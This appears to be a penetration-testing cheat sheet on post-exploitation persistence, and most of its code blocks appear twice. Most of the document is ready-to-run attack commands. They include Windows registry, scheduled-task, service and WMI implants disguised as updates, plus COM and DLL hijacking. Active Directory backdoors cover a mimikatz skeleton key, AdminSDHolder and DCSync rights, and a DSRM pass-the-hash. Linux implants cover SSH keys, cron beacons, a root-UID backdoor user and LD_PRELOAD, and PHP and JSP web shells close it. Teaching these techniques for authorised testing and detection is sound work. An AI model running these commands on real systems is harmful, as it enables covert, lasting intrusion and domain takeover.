Post-Exploitation
Persistence Techniques
Persistence ensures continued access to compromised systems across reboots, user logouts, and credential changes. Choose techniques based on stealth requirements and detection risk.
T1547.001 | Registry Run Keys T1053.005 | Scheduled Task T1543.003 | Windows Service T1136 | Create Account
Warning
Document all persistence mechanisms for cleanup. Persistence can trigger alerts
and leave forensic artifacts - balance coverage with stealth.
Windows User-Level Persistence
Registry Run Keys
powershell
# HKCU Run Keys (current user)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\Users\Public\payload.exe"
# PowerShell
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Update" -Value "C:\Users\Public\payload.exe"
# Other Run locations
# HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
# HKLM\Software\Microsoft\Windows\CurrentVersion\Run (requires admin)
# HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce# HKCU Run Keys (current user)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\Users\Public\payload.exe"
# PowerShell
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Update" -Value "C:\Users\Public\payload.exe"
# Other Run locations
# HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
# HKLM\Software\Microsoft\Windows\CurrentVersion\Run (requires admin)
# HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceStartup Folder
powershell
# User startup folder
copy payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
# All users startup (requires admin)
copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
# Create shortcut
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.lnk")
$Shortcut.TargetPath = "C:\Users\Public\payload.exe"
$Shortcut.Save()# User startup folder
copy payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
# All users startup (requires admin)
copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
# Create shortcut
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.lnk")
$Shortcut.TargetPath = "C:\Users\Public\payload.exe"
$Shortcut.Save()Scheduled Tasks (User)
powershell
# Create scheduled task
schtasks /create /tn "OneDrive Update" /tr "C:\Users\Public\payload.exe" /sc onlogon
# PowerShell scheduled task
$Action = New-ScheduledTaskAction -Execute "C:\Users\Public\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "OneDrive Update" -Action $Action -Trigger $Trigger
# Daily trigger
$Trigger = New-ScheduledTaskTrigger -Daily -At 9am
Register-ScheduledTask -TaskName "Maintenance" -Action $Action -Trigger $Trigger# Create scheduled task
schtasks /create /tn "OneDrive Update" /tr "C:\Users\Public\payload.exe" /sc onlogon
# PowerShell scheduled task
$Action = New-ScheduledTaskAction -Execute "C:\Users\Public\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "OneDrive Update" -Action $Action -Trigger $Trigger
# Daily trigger
$Trigger = New-ScheduledTaskTrigger -Daily -At 9am
Register-ScheduledTask -TaskName "Maintenance" -Action $Action -Trigger $TriggerWindows System-Level Persistence
Windows Services
powershell
# Create service
sc create "Windows Update Service" binpath= "C:\Windows\System32\svchost.exe -k netsvcs" start= auto
# Modify existing service
sc config servicename binpath= "C:\malicious.exe"
# PowerShell
New-Service -Name "WinUpdate" -BinaryPathName "C:\Windows\payload.exe" -DisplayName "Windows Update Service" -StartupType Automatic
Start-Service -Name "WinUpdate"# Create service
sc create "Windows Update Service" binpath= "C:\Windows\System32\svchost.exe -k netsvcs" start= auto
# Modify existing service
sc config servicename binpath= "C:\malicious.exe"
# PowerShell
New-Service -Name "WinUpdate" -BinaryPathName "C:\Windows\payload.exe" -DisplayName "Windows Update Service" -StartupType Automatic
Start-Service -Name "WinUpdate"WMI Event Subscription
Information
WMI persistence survives reboots and is harder to detect than registry keys.
Requires admin privileges.
powershell
# Create WMI Event Filter
$FilterArgs = @{
Name = 'WinUpdate'
EventNameSpace = 'root\CimV2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs
# Create Consumer (execute payload)
$ConsumerArgs = @{
Name = 'WinUpdate'
CommandLineTemplate = 'C:\Windows\System32\cmd.exe /c C:\Users\Public\payload.exe'
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs
# Bind Filter to Consumer
$BindingArgs = @{
Filter = $Filter
Consumer = $Consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindingArgs# Create WMI Event Filter
$FilterArgs = @{
Name = 'WinUpdate'
EventNameSpace = 'root\CimV2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs
# Create Consumer (execute payload)
$ConsumerArgs = @{
Name = 'WinUpdate'
CommandLineTemplate = 'C:\Windows\System32\cmd.exe /c C:\Users\Public\payload.exe'
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs
# Bind Filter to Consumer
$BindingArgs = @{
Filter = $Filter
Consumer = $Consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindingArgsDLL Search Order Hijacking
powershell
# Find vulnerable applications
# Applications that load DLLs from writable paths
# Use Process Monitor to find:
# 1. NAME NOT FOUND results for DLL loads
# 2. Check if path is writable
# Common targets:
# - Software update utilities
# - Third-party applications
# - Custom enterprise applications
# Place malicious DLL in writable PATH location
# or application directory# Find vulnerable applications
# Applications that load DLLs from writable paths
# Use Process Monitor to find:
# 1. NAME NOT FOUND results for DLL loads
# 2. Check if path is writable
# Common targets:
# - Software update utilities
# - Third-party applications
# - Custom enterprise applications
# Place malicious DLL in writable PATH location
# or application directoryCOM Object Hijacking
powershell
# Find COM objects loaded by explorer
# HKCU\Software\Classes\CLSID\
# Example: Hijack a scheduled task COM handler
$CLSID = "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path $CLSID -Force
New-Item -Path "$CLSID\InprocServer32" -Force
Set-ItemProperty -Path "$CLSID\InprocServer32" -Name "(Default)" -Value "C:\malicious.dll"# Find COM objects loaded by explorer
# HKCU\Software\Classes\CLSID\
# Example: Hijack a scheduled task COM handler
$CLSID = "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path $CLSID -Force
New-Item -Path "$CLSID\InprocServer32" -Force
Set-ItemProperty -Path "$CLSID\InprocServer32" -Name "(Default)" -Value "C:\malicious.dll"Active Directory Persistence
Skeleton Key
text
# Inject skeleton key into LSASS (patch DC memory)
# Default password: "mimikatz"
mimikatz # privilege::debug
mimikatz # misc::skeleton
# Now authenticate to any account with "mimikatz"
# Requires DC restart to remove
# Does NOT persist across reboots# Inject skeleton key into LSASS (patch DC memory)
# Default password: "mimikatz"
mimikatz # privilege::debug
mimikatz # misc::skeleton
# Now authenticate to any account with "mimikatz"
# Requires DC restart to remove
# Does NOT persist across rebootsAdminSDHolder Abuse
powershell
# AdminSDHolder is applied to protected groups every 60 min
# Add ACE to AdminSDHolder, propagates to protected accounts
# PowerShell - Add user to AdminSDHolder
Import-Module ActiveDirectory
$UserSID = (Get-ADUser attacker).SID
$AdminSDHolder = "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=com"
$ACL = Get-Acl $AdminSDHolder
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$UserSID,
"GenericAll",
"Allow"
)
$ACL.AddAccessRule($ACE)
Set-Acl $AdminSDHolder $ACL
# Protected groups: Domain Admins, Enterprise Admins, Schema Admins, etc.# AdminSDHolder is applied to protected groups every 60 min
# Add ACE to AdminSDHolder, propagates to protected accounts
# PowerShell - Add user to AdminSDHolder
Import-Module ActiveDirectory
$UserSID = (Get-ADUser attacker).SID
$AdminSDHolder = "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=com"
$ACL = Get-Acl $AdminSDHolder
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$UserSID,
"GenericAll",
"Allow"
)
$ACL.AddAccessRule($ACE)
Set-Acl $AdminSDHolder $ACL
# Protected groups: Domain Admins, Enterprise Admins, Schema Admins, etc.DSRM Backdoor
powershell
# Enable DSRM account for network logon
# Directory Services Restore Mode password set during DC promotion
# Check DSRM registry
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior
# Enable network logon (requires admin on DC)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
# Now can use DSRM password for:
# Administrator@dc01 (local admin, not domain)
sekurlsa::pth /domain:dc01 /user:Administrator /ntlm:DSRM_NTLM_HASH# Enable DSRM account for network logon
# Directory Services Restore Mode password set during DC promotion
# Check DSRM registry
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior
# Enable network logon (requires admin on DC)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
# Now can use DSRM password for:
# Administrator@dc01 (local admin, not domain)
sekurlsa::pth /domain:dc01 /user:Administrator /ntlm:DSRM_NTLM_HASHSecurity Descriptor Modification
powershell
# Add DCSync rights to user
Import-Module ActiveDirectory
$UserSID = (Get-ADUser attacker).SID
# Get domain root
$Domain = Get-ADDomain
$DomainDN = $Domain.DistinguishedName
# Grant DCSync rights (Replicating Directory Changes + All)
$ACL = Get-Acl "AD:\$DomainDN"
$ACE1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$UserSID,
"ExtendedRight",
"Allow",
[GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes
)
$ACE2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$UserSID,
"ExtendedRight",
"Allow",
[GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes-All
)
$ACL.AddAccessRule($ACE1)
$ACL.AddAccessRule($ACE2)
Set-Acl "AD:\$DomainDN" $ACL# Add DCSync rights to user
Import-Module ActiveDirectory
$UserSID = (Get-ADUser attacker).SID
# Get domain root
$Domain = Get-ADDomain
$DomainDN = $Domain.DistinguishedName
# Grant DCSync rights (Replicating Directory Changes + All)
$ACL = Get-Acl "AD:\$DomainDN"
$ACE1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$UserSID,
"ExtendedRight",
"Allow",
[GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes
)
$ACE2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$UserSID,
"ExtendedRight",
"Allow",
[GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes-All
)
$ACL.AddAccessRule($ACE1)
$ACL.AddAccessRule($ACE2)
Set-Acl "AD:\$DomainDN" $ACLLinux Persistence
SSH Keys
bash
# Add SSH key to root
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Add to all users
for user in $(ls /home/); do
mkdir -p /home/$user/.ssh
echo "ssh-rsa AAAA..." >> /home/$user/.ssh/authorized_keys
chown -R $user:$user /home/$user/.ssh
done# Add SSH key to root
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Add to all users
for user in $(ls /home/); do
mkdir -p /home/$user/.ssh
echo "ssh-rsa AAAA..." >> /home/$user/.ssh/authorized_keys
chown -R $user:$user /home/$user/.ssh
doneCron Jobs
bash
# Root crontab
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/beacon.sh") | crontab -
# System cron
echo "*/5 * * * * root /tmp/beacon.sh" >> /etc/crontab
# Cron directories
echo '#!/bin/bash
/tmp/beacon.sh' > /etc/cron.daily/update
chmod +x /etc/cron.daily/update# Root crontab
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/beacon.sh") | crontab -
# System cron
echo "*/5 * * * * root /tmp/beacon.sh" >> /etc/crontab
# Cron directories
echo '#!/bin/bash
/tmp/beacon.sh' > /etc/cron.daily/update
chmod +x /etc/cron.daily/updateSystemd Service
bash
# Create service file
cat > /etc/systemd/system/update.service << EOF
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/opt/beacon
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
# Enable and start
systemctl daemon-reload
systemctl enable update.service
systemctl start update.service# Create service file
cat > /etc/systemd/system/update.service << EOF
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/opt/beacon
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
# Enable and start
systemctl daemon-reload
systemctl enable update.service
systemctl start update.serviceBackdoor User
bash
# Add user with root privileges
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash sysadmin
echo "sysadmin:P@ssw0rd123" | chpasswd
# Hide from /etc/passwd (add to bottom, some parsers stop early)
# Or use uid > 65000 to hide from some tools# Add user with root privileges
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash sysadmin
echo "sysadmin:P@ssw0rd123" | chpasswd
# Hide from /etc/passwd (add to bottom, some parsers stop early)
# Or use uid > 65000 to hide from some toolsLD_PRELOAD Hijacking
bash
# Create malicious shared library
cat > /tmp/evil.c << EOF
#include <stdio.h>
#include <stdlib.h>
void _init() {
system("/tmp/beacon.sh");
}
EOF
gcc -shared -fPIC -nostartfiles -o /usr/local/lib/libevil.so /tmp/evil.c
echo "/usr/local/lib/libevil.so" >> /etc/ld.so.preload# Create malicious shared library
cat > /tmp/evil.c << EOF
#include <stdio.h>
#include <stdlib.h>
void _init() {
system("/tmp/beacon.sh");
}
EOF
gcc -shared -fPIC -nostartfiles -o /usr/local/lib/libevil.so /tmp/evil.c
echo "/usr/local/lib/libevil.so" >> /etc/ld.so.preloadWeb Server Persistence
Web Shells
text
# PHP webshell
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; system($_REQUEST['cmd']); } ?>
# ASP.NET webshell - see documentation for full syntax
# Uses Page_Load handler with Request["cmd"] parameter
# JSP webshell
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %># PHP webshell
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; system($_REQUEST['cmd']); } ?>
# ASP.NET webshell - see documentation for full syntax
# Uses Page_Load handler with Request["cmd"] parameter
# JSP webshell
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>Detection & Cleanup
Document Everything
text
# Track all persistence mechanisms
| Technique | Location | Cleanup Command |
|--------------------|---------------------------------------|-----------------|
| Registry Run Key | HKCU\...\Run\Update | reg delete ... |
| Scheduled Task | OneDrive Update | schtasks /delete|
| Service | WinUpdate | sc delete ... |
| WMI Subscription | WinUpdate | Remove-WMI... |
| SSH Key | /root/.ssh/authorized_keys | Remove line |
| Cron Job | /etc/cron.daily/update | rm file |
| Systemd Service | /etc/systemd/system/update.service | systemctl stop |# Track all persistence mechanisms
| Technique | Location | Cleanup Command |
|--------------------|---------------------------------------|-----------------|
| Registry Run Key | HKCU\...\Run\Update | reg delete ... |
| Scheduled Task | OneDrive Update | schtasks /delete|
| Service | WinUpdate | sc delete ... |
| WMI Subscription | WinUpdate | Remove-WMI... |
| SSH Key | /root/.ssh/authorized_keys | Remove line |
| Cron Job | /etc/cron.daily/update | rm file |
| Systemd Service | /etc/systemd/system/update.service | systemctl stop |Danger
Always clean up persistence at the end of an engagement. Leaving backdoors
creates security risks and potential legal liability.